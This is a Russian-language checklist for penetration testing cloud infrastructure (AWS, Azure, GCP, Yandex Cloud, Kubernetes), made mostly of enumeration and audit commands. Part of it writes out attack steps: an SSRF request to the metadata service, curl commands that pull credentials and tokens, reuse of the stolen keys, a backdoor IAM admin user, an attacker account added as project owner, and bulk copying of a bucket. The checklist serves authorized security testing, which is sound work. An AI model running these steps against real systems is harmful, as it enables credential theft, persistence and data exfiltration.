Чек-лист тестирования на проникновение облачной инфраструктуры — руководство для пентестера 2026

<h2 id="ustanovka-aws-cli">Установка AWS CLI</h2>

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"

unzip awscliv2.zip && sudo ./aws/install



<h2 id="nastroyka-profilya-dlya-testovogo-akkaunta">Настройка профиля для тестового аккаунта</h2>

aws configure --profile pentest-target

<h2 id="aws-access-key-id-vvedite-klyuch">AWS Access Key ID: [введите ключ]</h2>

<h2 id="aws-secret-access-key-vvedite-sekret">AWS Secret Access Key: [введите секрет]</h2>

<h2 id="default-region-name-us-east-1">Default region name: us-east-1</h2>

<h2 id="default-output-format-json">Default output format: json</h2>




<h2 id="ustanovka-azure-cli">Установка Azure CLI</h2>

curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

az login --use-device-code



<h2 id="ustanovka-google-cloud-sdk">Установка Google Cloud SDK</h2>

curl https://sdk.cloud.google.com | bash

exec -l $SHELL

gcloud auth login

gcloud config set project [PROJECT_ID]

<h2 id="ustanovka-scoutsuite">Установка ScoutSuite</h2>

pip install scoutsuite



<h2 id="audit-aws">Аудит AWS</h2>

scout aws --profile pentest-target --report-dir ./scoutsuite-report



<h2 id="audit-azure">Аудит Azure</h2>

scout azure --cli --report-dir ./scoutsuite-report



<h2 id="audit-gcp">Аудит GCP</h2>

scout gcp --user-account --report-dir ./scoutsuite-report



<h2 id="otkryt-otchyot">Открыть отчёт</h2>

firefox scoutsuite-report/scoutsuite-report.html

<h2 id="grayhatwarfare-poisk-publichnyh-s3-buckets-po-imeni-organizatsii">GrayhatWarfare — поиск публичных S3 buckets по имени организации</h2>

<h2 id="url-grayhatwarfare-com-vvedite-nazvanie-kompanii-ili-domen">URL: grayhatwarfare.com — введите название компании или домен</h2>




<h2 id="bucket-finder-perebor-imyon-s3-bucket-po-slovaryu">Bucket Finder — перебор имён S3 bucket по словарю</h2>

git clone https://github.com/mattsb42/bucket-finder

python3 bucket-finder.py --region us-east-1 wordlist.txt



<h2 id="s3scanner-poisk-i-proverka-otkrytyh-s3-buckets">s3scanner — поиск и проверка открытых S3 buckets</h2>

pip install s3scanner

s3scanner scan --buckets-file buckets.txt



<h2 id="cloudenum-perechislenie-resursov-po-klyuchevomu-slovu-aws-azure-gcp-odnovremenno">CloudEnum — перечисление ресурсов по ключевому слову (AWS, Azure, GCP одновременно)</h2>

git clone https://github.com/initstring/cloud_enum

pip install -r cloud_enum/requirements.txt

python3 cloud_enum/cloud_enum.py -k targetcompanyname

<h2 id="trufflehog-poisk-sekretov-v-github-repozitoriyah">Trufflehog — поиск секретов в GitHub-репозиториях</h2>

pip install trufflehog

trufflehog github --org=targetorg --token=$GITHUB_TOKEN



<h2 id="gitleaks-analiz-konkretnogo-repozitoriya">Gitleaks — анализ конкретного репозитория</h2>

gitleaks detect --source /path/to/repo --report-format json



<h2 id="gitdorking-cherez-github-search-ruchnoy-poisk">GitDorking через GitHub Search — ручной поиск</h2>

<h2 id="v-stroke-poiska-github">В строке поиска GitHub:</h2>

<h2 id="org-targetcompany-akia-aws-access-key-id-nachinaetsya-s-akia">org:targetcompany &quot;AKIA&quot; (AWS Access Key ID начинается с AKIA)</h2>

<h2 id="org-targetcompany-aws-secret-access-key">org:targetcompany &quot;aws_secret_access_key&quot;</h2>

<h2 id="org-targetcompany-filename-env">org:targetcompany filename:.env</h2>

<h2 id="org-targetcompany-client-secret">org:targetcompany &quot;client_secret&quot;</h2>

<h2 id="opredelit-kto-my-tekuschiy-identity">Определить, кто мы (текущий identity)</h2>

aws sts get-caller-identity --profile pentest-target



<h2 id="perechislenie-vseh-regionov-s-aktivnymi-resursami">Перечисление всех регионов с активными ресурсами</h2>

aws ec2 describe-regions --profile pentest-target --query 'Regions[].RegionName'



<h2 id="enumerate-iam-polzovateley-esli-est-prava">Enumerate IAM пользователей (если есть права)</h2>

aws iam list-users --profile pentest-target

aws iam list-roles --profile pentest-target



<h2 id="perechislenie-s3-buckets">Перечисление S3 buckets</h2>

aws s3 ls --profile pentest-target



<h2 id="ec2-instansy-vo-vseh-regionah">EC2 инстансы во всех регионах</h2>

for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do

  echo "=== $region ===";

  aws ec2 describe-instances --region $region --profile pentest-target \

    --query 'Reservations[].Instances[].[InstanceId,State.Name,PublicIpAddress,Tags[?Key==`Name`].Value]' \

    --output table;

done

<h2 id="spisok-vseh-podpisok">Список всех подписок</h2>

az account list --output table



<h2 id="spisok-vseh-resursnyh-grupp">Список всех ресурсных групп</h2>

az group list --output table



<h2 id="vse-resursy-v-podpiske-vklyuchaya-tipy">Все ресурсы в подписке (включая типы)</h2>

az resource list --output table



<h2 id="storage-accounts-analog-s3-v-azure">Storage accounts (аналог S3 в Azure)</h2>

az storage account list --output table



<h2 id="virtualnye-mashiny">Виртуальные машины</h2>

az vm list --output table --show-details



<h2 id="app-service-veb-prilozheniya">App Service (веб-приложения)</h2>

az webapp list --output table

<h2 id="vse-proekty-dostupnye-akkauntu">Все проекты, доступные аккаунту</h2>

gcloud projects list



<h2 id="compute-engine-instansy">Compute Engine инстансы</h2>

gcloud compute instances list --project $PROJECT_ID



<h2 id="cloud-storage-buckets">Cloud Storage buckets</h2>

gsutil ls



<h2 id="cloud-functions">Cloud Functions</h2>

gcloud functions list --project $PROJECT_ID



<h2 id="cloud-run-servisy">Cloud Run сервисы</h2>

gcloud run services list --project $PROJECT_ID



<h2 id="service-accounts">Service Accounts</h2>

gcloud iam service-accounts list --project $PROJECT_ID

<h2 id="iam-access-analyzer-poisk-izbytochnyh-vneshnih-dostupov">IAM Access Analyzer — поиск избыточных внешних доступов</h2>

aws accessanalyzer list-findings --analyzer-arn $(aws accessanalyzer list-analyzers \

  --query 'analyzers[0].arn' --output text)



<h2 id="poluchit-vse-politiki-konkretnogo-polzovatelya">Получить все политики конкретного пользователя</h2>

aws iam list-attached-user-policies --user-name TARGET_USER

aws iam list-user-policies --user-name TARGET_USER



<h2 id="poluchit-soderzhimoe-politiki">Получить содержимое политики</h2>

aws iam get-policy-version \

  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \

  --version-id v1



<h2 id="iam-simulator-proverit-chto-mozhet-delat-konkretnaya-rol">IAM Simulator — проверить, что может делать конкретная роль</h2>

aws iam simulate-principal-policy \

  --policy-source-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME \

  --action-names s3:GetObject s3:PutObject ec2:DescribeInstances



<h2 id="nayti-roli-s-pravom-na-passrole-opasnaya-privilegiya-dlya-eskalatsii">Найти роли с правом на PassRole (опасная привилегия для эскалации)</h2>

aws iam list-roles | python3 -c "

import json, sys

roles = json.load(sys.stdin)['Roles']

for r in roles:

    print(r['RoleName'], r['AssumeRolePolicyDocument'])

"

<h2 id="ustanovka-pmapper">Установка PMapper</h2>

pip install principalmapper



<h2 id="sbor-dannyh-ob-iam-konfiguratsii-akkaunta">Сбор данных об IAM-конфигурации аккаунта</h2>

pmapper --profile pentest-target graph create



<h2 id="poisk-putey-privilegirovannogo-dostupa">Поиск путей привилегированного доступа</h2>

pmapper --profile pentest-target analysis



<h2 id="vizualizatsiya-grafa">Визуализация графа</h2>

pmapper --profile pentest-target visualize --filetype svg

<h2 id="vse-naznacheniya-roley-v-podpiske">Все назначения ролей в подписке</h2>

az role assignment list --all --output table



<h2 id="polzovateli-s-rolyu-owner-naivysshiy-uroven">Пользователи с ролью Owner (наивысший уровень)</h2>

az role assignment list --all \

  --query "[?roleDefinitionName=='Owner']" --output table



<h2 id="custom-roles-chasto-soderzhat-izbytochnye-prava">Custom roles (часто содержат избыточные права)</h2>

az role definition list --custom-role-only true --output table



<h2 id="naznacheniya-roley-dlya-konkretnogo-polzovatelya">Назначения ролей для конкретного пользователя</h2>

az role assignment list --assignee user@domain.com --output table



<h2 id="service-principals-s-shirokimi-pravami">Service Principals с широкими правами</h2>

az ad sp list --all --query "[].{Name:displayName,AppId:appId}" --output table

<h2 id="vse-iam-privyazki-na-urovne-proekta">Все IAM-привязки на уровне проекта</h2>

gcloud projects get-iam-policy $PROJECT_ID --format json



<h2 id="poisk-privyazok-s-roles-owner-i-roles-editor">Поиск привязок с roles/owner и roles/editor</h2>

gcloud projects get-iam-policy $PROJECT_ID --format json | python3 -c "

import json, sys

policy = json.load(sys.stdin)

for binding in policy.get('bindings', []):

    if binding['role'] in ['roles/owner', 'roles/editor']:

        print(f'Role: {binding[\"role\"]}')

        for member in binding['members']:

            print(f'  Member: {member}')

"



<h2 id="service-accounts-s-pravami-na-proekt">Service Accounts с правами на проект</h2>

gcloud iam service-accounts list --project $PROJECT_ID



<h2 id="klyuchi-service-account-ustarevshie-klyuchi-risk">Ключи Service Account (устаревшие ключи — риск)</h2>

gcloud iam service-accounts keys list \

  --iam-account SA_EMAIL@PROJECT_ID.iam.gserviceaccount.com

<h2 id="spisok-vseh-buckets-v-akkaunte">Список всех buckets в аккаунте</h2>

aws s3 ls --profile pentest-target



<h2 id="proverka-public-access-block-na-urovne-akkaunta">Проверка Public Access Block на уровне аккаунта</h2>

aws s3control get-public-access-block \

  --account-id $(aws sts get-caller-identity --query Account --output text) \

  --profile pentest-target



<h2 id="proverka-nastroek-dlya-konkretnogo-bucket">Проверка настроек для конкретного bucket</h2>

aws s3api get-bucket-acl --bucket BUCKET_NAME --profile pentest-target

aws s3api get-bucket-policy --bucket BUCKET_NAME --profile pentest-target

aws s3api get-bucket-public-access-block --bucket BUCKET_NAME --profile pentest-target



<h2 id="popytka-listinga-soderzhimogo-bez-autentifikatsii-proverka-publichnogo-dostupa">Попытка листинга содержимого без аутентификации (проверка публичного доступа)</h2>

aws s3 ls s3://BUCKET_NAME --no-sign-request



<h2 id="proverka-na-vozmozhnost-zagruzki-fayla">Проверка на возможность загрузки файла</h2>

aws s3 cp test.txt s3://BUCKET_NAME/ --no-sign-request



<h2 id="shifrovanie-bucket-otsutstvie-risk">Шифрование bucket (отсутствие = риск)</h2>

aws s3api get-bucket-encryption --bucket BUCKET_NAME --profile pentest-target



<h2 id="versioning-otklyuchyon-risk-poteri-dannyh-pri-atake">Versioning (отключён = риск потери данных при атаке)</h2>

aws s3api get-bucket-versioning --bucket BUCKET_NAME --profile pentest-target

{

  "Effect": "Allow",

  "Principal": "*",

  "Action": "s3:GetObject",

  "Resource": "arn:aws:s3:::bucket-name/*"

}

{

  "Effect": "Allow",

  "Principal": "*",

  "Action": ["s3:PutObject", "s3:DeleteObject"],

  "Resource": "arn:aws:s3:::bucket-name/*"

}

<h2 id="s3audit-proverka-vseh-buckets-akkaunta-na-sootvetstvie-best-practices">s3audit — проверка всех buckets аккаунта на соответствие best practices</h2>

pip install s3audit

s3audit --profile pentest-target



<h2 id="otchyot-po-kazhdomu-bucket">Отчёт по каждому bucket:</h2>

<h2 id="publichnyy-dostup-zablokirovan">✅/❌ Публичный доступ заблокирован</h2>

<h2 id="shifrovanie-vklyucheno">✅/❌ Шифрование включено</h2>

<h2 id="versioning-vklyuchyon">✅/❌ Versioning включён</h2>

<h2 id="logirovanie-vklyucheno">✅/❌ Логирование включено</h2>

<h2 id="mfa-delete-vklyuchyon">✅/❌ MFA Delete включён</h2>

<h2 id="spisok-vseh-storage-accounts">Список всех storage accounts</h2>

az storage account list --output table



<h2 id="proverka-nastroek-publichnogo-dostupa">Проверка настроек публичного доступа</h2>

az storage account show --name ACCOUNT_NAME \

  --query "allowBlobPublicAccess"



<h2 id="spisok-containers-v-storage-account">Список containers в storage account</h2>

az storage container list --account-name ACCOUNT_NAME --output table



<h2 id="proverka-publichnogo-urovnya-dostupa-container">Проверка публичного уровня доступа container</h2>

az storage container show --name CONTAINER_NAME \

  --account-name ACCOUNT_NAME \

  --query "properties.publicAccess"



<h2 id="popytka-listinga-bez-autentifikatsii">Попытка листинга без аутентификации</h2>

az storage blob list \

  --container-name CONTAINER_NAME \

  --account-name ACCOUNT_NAME \

  --no-sign-request



<h2 id="proverka-shifrovaniya">Проверка шифрования</h2>

az storage account show --name ACCOUNT_NAME \

  --query "encryption"

<h2 id="spisok-vseh-buckets-proekta">Список всех buckets проекта</h2>

gsutil ls -p $PROJECT_ID



<h2 id="proverka-prav-dostupa-konkretnogo-bucket">Проверка прав доступа конкретного bucket</h2>

gsutil iam get gs://BUCKET_NAME



<h2 id="popytka-listinga-bez-autentifikatsii">Попытка листинга без аутентификации</h2>

gsutil ls gs://BUCKET_NAME (без авторизованных credentials)



<h2 id="proverka-uniform-bucket-level-access">Проверка uniform bucket-level access</h2>

gsutil uniformbucketlevelaccess get gs://BUCKET_NAME



<h2 id="proverka-publichnogo-dostupa-cherez-acl">Проверка публичного доступа через ACL</h2>

gsutil acl get gs://BUCKET_NAME

<h2 id="vse-security-groups-s-pravilami-otkrytymi-na-0-0-0-0-0">Все Security Groups с правилами, открытыми на 0.0.0.0/0</h2>

aws ec2 describe-security-groups --profile pentest-target \

  --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].[GroupId,GroupName,IpPermissions]" \

  --output json | python3 -m json.tool



<h2 id="poisk-ssh-22-i-rdp-3389-otkrytyh-v-internet">Поиск SSH (22) и RDP (3389) открытых в интернет</h2>

aws ec2 describe-security-groups --profile pentest-target \

  --filters "Name=ip-permission.cidr,Values=0.0.0.0/0" \

            "Name=ip-permission.from-port,Values=22" \

  --query "SecurityGroups[*].[GroupId,GroupName]" --output table



<h2 id="ec2-instansy-s-publichnym-ip">EC2 инстансы с публичным IP</h2>

aws ec2 describe-instances --profile pentest-target \

  --query "Reservations[].Instances[?PublicIpAddress!=null].[InstanceId,PublicIpAddress,Tags[?Key=='Name'].Value]" \

  --output table

<h2 id="ustanovka-cloudmapper">Установка CloudMapper</h2>

git clone https://github.com/duo-labs/cloudmapper.git

cd cloudmapper && pip install -r requirements.txt



<h2 id="sbor-dannyh">Сбор данных</h2>

python cloudmapper.py collect --profile pentest-target --account ACCOUNT_NAME



<h2 id="analiz-vyyavlyaet-otkrytye-resursy-i-narusheniya-segmentatsii">Анализ (выявляет открытые ресурсы и нарушения сегментации)</h2>

python cloudmapper.py analyze --account ACCOUNT_NAME



<h2 id="generatsiya-veb-karty">Генерация веб-карты</h2>

python cloudmapper.py webserver --account ACCOUNT_NAME

<h2 id="otkryt-http-localhost-8000">Открыть: http://localhost:8000</h2>

<h2 id="vse-nsg-s-pravilami-allow-na-vse-porty">Все NSG с правилами Allow * на все порты</h2>

az network nsg list --output json | python3 -c "

import json, sys

nsgs = json.load(sys.stdin)

for nsg in nsgs:

    for rule in nsg.get('securityRules', []):

        if rule['access'] == 'Allow' and rule.get('sourceAddressPrefix') == '*':

            print(f'NSG: {nsg[\"name\"]}, Rule: {rule[\"name\"]}, Port: {rule.get(\"destinationPortRange\")}')

"



<h2 id="publichnye-ip-adresa-v-podpiske">Публичные IP-адреса в подписке</h2>

az network public-ip list --output table \

  --query "[*].[name,ipAddress,publicIPAllocationMethod]"



<h2 id="vse-load-balancers-s-publichnymi-endpoint">Все Load Balancers с публичными endpoint</h2>

az network lb list --output table

<h2 id="skanirovanie-publichnyh-ip-ec2-azure-vm">Сканирование публичных IP EC2 / Azure VM</h2>

<h2 id="snachala-poluchit-spisok-ip-iz-predyduschih-shagov">Сначала получить список IP из предыдущих шагов</h2>




<h2 id="bystroe-skanirovanie-top-1000-portov">Быстрое сканирование топ-1000 портов</h2>

nmap -sV -T4 --open -oA cloud_scan TARGETS_FILE



<h2 id="detalnoe-skanirovanie-konkretnogo-hosta">Детальное сканирование конкретного хоста</h2>

nmap -sV -sC -p- --open -T4 TARGET_IP



<h2 id="proverka-ssl-tls-konfiguratsii">Проверка SSL/TLS конфигурации</h2>

nmap --script ssl-enum-ciphers -p 443 TARGET_IP

<h2 id="perechislenie-vseh-lambda-funktsiy">Перечисление всех Lambda-функций</h2>

aws lambda list-functions --profile pentest-target \

  --query "Functions[*].[FunctionName,Runtime,Role,LastModified]" --output table



<h2 id="poluchit-konfiguratsiyu-funktsii-vklyuchaya-peremennye-okruzheniya">Получить конфигурацию функции (включая переменные окружения!)</h2>

aws lambda get-function-configuration \

  --function-name FUNCTION_NAME --profile pentest-target



<h2 id="peremennye-okruzheniya-chastyy-istochnik-sekretov">Переменные окружения — частый источник секретов</h2>

aws lambda get-function-configuration \

  --function-name FUNCTION_NAME --profile pentest-target \

  --query "Environment.Variables"



<h2 id="poluchit-kod-funktsii-skachat-zip-s-kodom">Получить код функции (скачать ZIP с кодом)</h2>

aws lambda get-function \

  --function-name FUNCTION_NAME --profile pentest-target \

  --query "Code.Location" --output text | xargs wget -O function.zip



<h2 id="url-adres-funktsii-esli-funktsiya-imeet-publichnyy-url">URL-адрес функции (если функция имеет публичный URL)</h2>

aws lambda get-function-url-config \

  --function-name FUNCTION_NAME --profile pentest-target



<h2 id="rol-iam-naznachennaya-funktsii-klyuchevaya-dlya-privilege-escalation">Роль IAM, назначенная функции (ключевая для privilege escalation)</h2>

aws lambda get-function-configuration \

  --function-name FUNCTION_NAME --profile pentest-target \

  --query "Role" --output text

<h2 id="poluchenie-kubeconfig-dlya-upravlyaemogo-kubernetes">Получение kubeconfig для управляемого Kubernetes</h2>

<h2 id="aws-eks">AWS EKS</h2>

aws eks update-kubeconfig --name CLUSTER_NAME --region us-east-1 --profile pentest-target



<h2 id="azure-aks">Azure AKS</h2>

az aks get-credentials --resource-group RG_NAME --name CLUSTER_NAME



<h2 id="gcp-gke">GCP GKE</h2>

gcloud container clusters get-credentials CLUSTER_NAME --region REGION



<h2 id="posle-polucheniya-dostupa-perechislenie-klastera">После получения доступа — перечисление кластера</h2>

kubectl get nodes

kubectl get pods --all-namespaces

kubectl get secrets --all-namespaces

kubectl get serviceaccounts --all-namespaces



<h2 id="proverka-rbac-privyazok-kto-imeet-prava-cluster-admin">Проверка RBAC-привязок (кто имеет права cluster-admin?)</h2>

kubectl get clusterrolebindings -o json | python3 -c "

import json, sys

crbs = json.load(sys.stdin)['items']

for crb in crbs:

    if 'cluster-admin' in crb['roleRef']['name']:

        for sub in crb.get('subjects', []):

            print(f'cluster-admin: {sub}')

"



<h2 id="proverka-vozmozhnosti-exec-v-pod-kriticheskiy-risk">Проверка возможности exec в pod (критический риск)</h2>

kubectl auth can-i exec pods --all-namespaces



<h2 id="poisk-secrets-v-otkrytom-tekste-base64-ne-shifrovanie">Поиск secrets в открытом тексте (base64 — не шифрование!)</h2>

kubectl get secret SECRET_NAME -o json | \

  python3 -c "import json,sys,base64; s=json.load(sys.stdin); \

  [print(k,base64.b64decode(v).decode()) for k,v in s['data'].items()]"

<h2 id="ustanovka-trivy">Установка Trivy</h2>

sudo apt install trivy



<h2 id="skanirovanie-obraza-konteynera-na-uyazvimosti">Сканирование образа контейнера на уязвимости</h2>

trivy image nginx:latest



<h2 id="audit-kubernetes-klastera-misconfigurations">Аудит Kubernetes-кластера (misconfigurations)</h2>

trivy k8s --report summary cluster



<h2 id="skanirovanie-konkretnogo-namespace">Сканирование конкретного namespace</h2>

trivy k8s --report all namespace default



<h2 id="skanirovanie-konfiguratsionnyh-faylov-iac">Сканирование конфигурационных файлов (IaC)</h2>

trivy config ./terraform/

trivy config ./kubernetes-manifests/

<h2 id="endpoint-metadannyh-aws-dostupen-tolko-s-samogo-instansa">Endpoint метаданных AWS (доступен только с самого инстанса)</h2>

http://169.254.169.254/latest/meta-data/



<h2 id="cherez-ssrf-uyazvimost-v-prilozhenii">Через SSRF-уязвимость в приложении:</h2>

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

<h2 id="poluchenie-vremennyh-klyuchey-dostupa-cherez-imds-imitatsiya-s-samogo-instansa">Получение временных ключей доступа через IMDS (имитация с самого инстанса)</h2>

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME



<h2 id="otvet-soderzhit">Ответ содержит:</h2>

<h2 id="accesskeyid-asia">AccessKeyId: ASIA...</h2>

<h2 id="secretaccesskey">SecretAccessKey: ...</h2>

<h2 id="token">Token: ...</h2>

<h2 id="expiration-2026-xx-xx">Expiration: 2026-XX-XX</h2>




<h2 id="ispolzovanie-ukradennyh-credentials">Использование украденных credentials</h2>

export AWS_ACCESS_KEY_ID=ASIA...

export AWS_SECRET_ACCESS_KEY=...

export AWS_SESSION_TOKEN=...

aws sts get-caller-identity

<h2 id="proverka-versii-imds-s-samogo-instansa-ili-cherez-api">Проверка версии IMDS (с самого инстанса или через API)</h2>

aws ec2 describe-instances --profile pentest-target \

  --query "Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens]" \

  --output table



<h2 id="httptokens-optional-imdsv1-aktiven-uyazvimo-k-ssrf">HttpTokens = &quot;optional&quot; → IMDSv1 активен (уязвимо к SSRF)</h2>

<h2 id="httptokens-required-tolko-imdsv2-zaschischeno">HttpTokens = &quot;required&quot; → только IMDSv2 (защищено)</h2>




<h2 id="proverit-na-urovne-akkaunta-po-umolchaniyu-dolzhen-byt-required">Проверить на уровне аккаунта (по умолчанию должен быть required)</h2>

aws ec2 get-instance-metadata-defaults --profile pentest-target

<h2 id="azure-imds-endpoint-dostupen-tolko-s-vm">Azure IMDS endpoint (доступен только с VM)</h2>

http://169.254.169.254/metadata/instance?api-version=2021-02-01

<h2 id="zagolovok-metadata-true-obyazatelen-chastichnaya-zaschita-ot-ssrf">Заголовок: Metadata: true — обязателен (частичная защита от SSRF)</h2>




<h2 id="poluchenie-managed-identity-token-cherez-imds">Получение managed identity token через IMDS</h2>

curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \

  -H "Metadata: true"

<h2 id="gcp-metadata-server-dostupen-tolko-s-instansa">GCP metadata server (доступен только с инстанса)</h2>

http://metadata.google.internal/computeMetadata/v1/

<h2 id="zagolovok-metadata-flavor-google-obyazatelen">Заголовок: Metadata-Flavor: Google — обязателен</h2>




<h2 id="service-account-token-cherez-gcp-metadata">Service Account токен через GCP metadata</h2>

curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \

  -H "Metadata-Flavor: Google"

<h2 id="ustanovka-cloudfox">Установка CloudFox</h2>

wget https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64.zip

unzip cloudfox-linux-amd64.zip



<h2 id="poisk-vseh-endpoint-soderzhaschih-credentials">Поиск всех endpoint, содержащих credentials</h2>

./cloudfox aws --profile pentest-target all-checks



<h2 id="konkretnyy-poisk-ssrf-uyazvimyh-servisov">Конкретный поиск SSRF-уязвимых сервисов</h2>

./cloudfox aws --profile pentest-target endpoints



<h2 id="poisk-secrets-v-oblachnyh-servisah">Поиск secrets в облачных сервисах</h2>

./cloudfox aws --profile pentest-target secrets

<h2 id="ustanovka-yandex-cloud-cli-yc">Установка Yandex Cloud CLI (yc)</h2>

curl -sSL https://storage.yandexcloud.net/yandexcloud-yc/install.sh | bash



<h2 id="initsializatsiya-i-autentifikatsiya">Инициализация и аутентификация</h2>

yc init

<h2 id="sledovat-instruktsiyam-oauth-token-vybor-oblaka-i-kataloga">Следовать инструкциям: OAuth токен, выбор облака и каталога</h2>




<h2 id="ili-autentifikatsiya-cherez-servisnyy-akkaunt-dlya-avtomatizatsii">Или аутентификация через сервисный аккаунт (для автоматизации)</h2>

yc config set service-account-key sa-key.json



<h2 id="proverka-tekuschey-autentifikatsii">Проверка текущей аутентификации</h2>

yc iam whoami

<h2 id="spisok-oblakov-dostupnyh-akkauntu">Список облаков, доступных аккаунту</h2>

yc resource-manager cloud list



<h2 id="spisok-katalogov-analog-proektov-v-gcp">Список каталогов (аналог проектов в GCP)</h2>

yc resource-manager folder list



<h2 id="virtualnye-mashiny">Виртуальные машины</h2>

yc compute instance list --folder-id FOLDER_ID



<h2 id="object-storage-analog-s3">Object Storage (аналог S3)</h2>

yc storage bucket list --folder-id FOLDER_ID



<h2 id="managed-servisy-baz-dannyh">Managed сервисы баз данных</h2>

yc managed-postgresql cluster list --folder-id FOLDER_ID

yc managed-mysql cluster list --folder-id FOLDER_ID

yc managed-clickhouse cluster list --folder-id FOLDER_ID



<h2 id="cloud-functions-serverless">Cloud Functions (serverless)</h2>

yc serverless function list --folder-id FOLDER_ID



<h2 id="container-registry">Container Registry</h2>

yc container registry list --folder-id FOLDER_ID



<h2 id="api-gateway">API Gateway</h2>

yc serverless api-gateway list --folder-id FOLDER_ID



<h2 id="servisnye-akkaunty-analog-iam-roles-service-accounts">Сервисные аккаунты (аналог IAM roles/service accounts)</h2>

yc iam service-account list --folder-id FOLDER_ID

<h2 id="privyazki-roley-na-urovne-oblaka">Привязки ролей на уровне облака</h2>

yc resource-manager cloud list-access-bindings --id CLOUD_ID



<h2 id="privyazki-roley-na-urovne-kataloga">Привязки ролей на уровне каталога</h2>

yc resource-manager folder list-access-bindings --id FOLDER_ID



<h2 id="roli-servisnogo-akkaunta">Роли сервисного аккаунта</h2>

yc iam service-account list-access-bindings --id SA_ID



<h2 id="klyuchi-dostupa-servisnogo-akkaunta-api-klyuchi-staticheskie-klyuchi">Ключи доступа сервисного аккаунта (API-ключи, статические ключи)</h2>

yc iam access-key list --service-account-id SA_ID

yc iam api-key list --service-account-id SA_ID



<h2 id="avtorizovannye-klyuchi-dolgosrochnye">Авторизованные ключи (долгосрочные)</h2>

yc iam key list --service-account-id SA_ID

<h2 id="posle-nastroyki-s3cmd-ili-aws-cli-dlya-yandex-cloud">После настройки s3cmd или AWS CLI для Yandex Cloud</h2>




<h2 id="nastroyka-aws-cli-dlya-yc-object-storage">Настройка AWS CLI для YC Object Storage</h2>

aws configure --profile yc

<h2 id="aws-access-key-id-static-access-key-id-iz-yc-iam">AWS Access Key ID: [static access key ID из YC IAM]</h2>

<h2 id="aws-secret-access-key-secret-key">AWS Secret Access Key: [secret key]</h2>

<h2 id="default-region-ru-central1">Default region: ru-central1</h2>




<h2 id="spisok-buckets">Список buckets</h2>

aws s3 ls --profile yc --endpoint-url https://storage.yandexcloud.net



<h2 id="proverka-publichnogo-dostupa">Проверка публичного доступа</h2>

aws s3api get-bucket-acl \

  --bucket BUCKET_NAME \

  --profile yc \

  --endpoint-url https://storage.yandexcloud.net



<h2 id="popytka-dostupa-bez-autentifikatsii">Попытка доступа без аутентификации</h2>

curl https://storage.yandexcloud.net/BUCKET_NAME/

curl https://BUCKET_NAME.storage.yandexcloud.net/

<h2 id="pentest-yandex-cloud-cherez-scoutsuite">Пентест Yandex Cloud через ScoutSuite</h2>

scout yandexcloud \

  --folder-id FOLDER_ID \

  --access-key-id ACCESS_KEY \

  --secret-access-key SECRET_KEY \

  --report-dir ./yc-scoutsuite-report

curl http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token \

  -H "Metadata-Flavor: Google"

<h2 id="ustanovka-pacu">Установка Pacu</h2>

git clone https://github.com/RhinoSecurityLabs/pacu

cd pacu && pip install -r requirements.txt

python3 pacu.py



<h2 id="v-konsoli-pacu">В консоли Pacu:</h2>

set_keys  # Добавить скомпрометированные credentials



<h2 id="razvedka-tekuschih-prav">Разведка текущих прав</h2>

run iam__bruteforce_permissions



<h2 id="avtomaticheskiy-poisk-putey-privilege-escalation">Автоматический поиск путей privilege escalation</h2>

run iam__privesc_scan



<h2 id="perechislenie-vseh-resursov-akkaunta">Перечисление всех ресурсов аккаунта</h2>

run aws__enum_account

<h2 id="poluchenie-tokena-dlya-drugogo-resursa-s-pomoschyu-managed-identity">Получение токена для другого ресурса с помощью Managed Identity</h2>

<h2 id="esli-tekuschiy-resurs-imeet-managed-identity-s-nuzhnymi-pravami">(если текущий ресурс имеет Managed Identity с нужными правами)</h2>

curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \

  -H "Metadata: true"



<h2 id="ispolzovanie-tokena-dlya-dostupa-k-drugim-resursam">Использование токена для доступа к другим ресурсам</h2>

az account get-access-token --resource https://management.azure.com



<h2 id="roadtools-razvedka-azure-ad-dlya-lateral-movement">ROADtools — разведка Azure AD для lateral movement</h2>

roadrecon gather -u user@domain.com -p PASSWORD

roadrecon gui  # Веб-интерфейс: http://localhost:5000



<h2 id="poisk-service-principals-s-sekretami-credential-harvesting">Поиск Service Principals с секретами (credential harvesting)</h2>

az ad sp list --all --query "[?passwordCredentials[0].endDate > '2026-01-01'].{Name:displayName,AppId:appId}" \

  --output table

<h2 id="aws-sozdanie-backdoor-polzovatelya-iam-tolko-s-pismennogo-razresheniya">AWS: создание backdoor-пользователя IAM (только с письменного разрешения!)</h2>

aws iam create-user --user-name backdoor-test --profile pentest-target

aws iam attach-user-policy \

  --user-name backdoor-test \

  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \

  --profile pentest-target



<h2 id="aws-sozdanie-skrytogo-access-key-dlya-suschestvuyuschego-polzovatelya">AWS: создание скрытого access key для существующего пользователя</h2>

aws iam create-access-key --user-name TARGET_USER --profile pentest-target



<h2 id="gcp-dobavlenie-dopolnitelnogo-owner-na-urovne-proekta">GCP: добавление дополнительного owner на уровне проекта</h2>

gcloud projects add-iam-policy-binding $PROJECT_ID \

  --member="user:attacker@example.com" --role="roles/owner"



<h2 id="vazhno-vse-sozdannye-v-hode-pentesta-backdoor-obekty">Важно: все созданные в ходе пентеста backdoor-объекты</h2>

<h2 id="dolzhny-byt-nemedlenno-zadokumentirovany-i-udaleny-v-kontse-testa">должны быть немедленно задокументированы и удалены в конце теста</h2>

<h2 id="chtenie-soderzhimogo-s3-pokazyvaet-vozmozhnost-krazhi-dannyh">Чтение содержимого S3 (показывает возможность кражи данных)</h2>

aws s3 cp s3://sensitive-bucket/ ./exfil/ --recursive --profile pentest-target



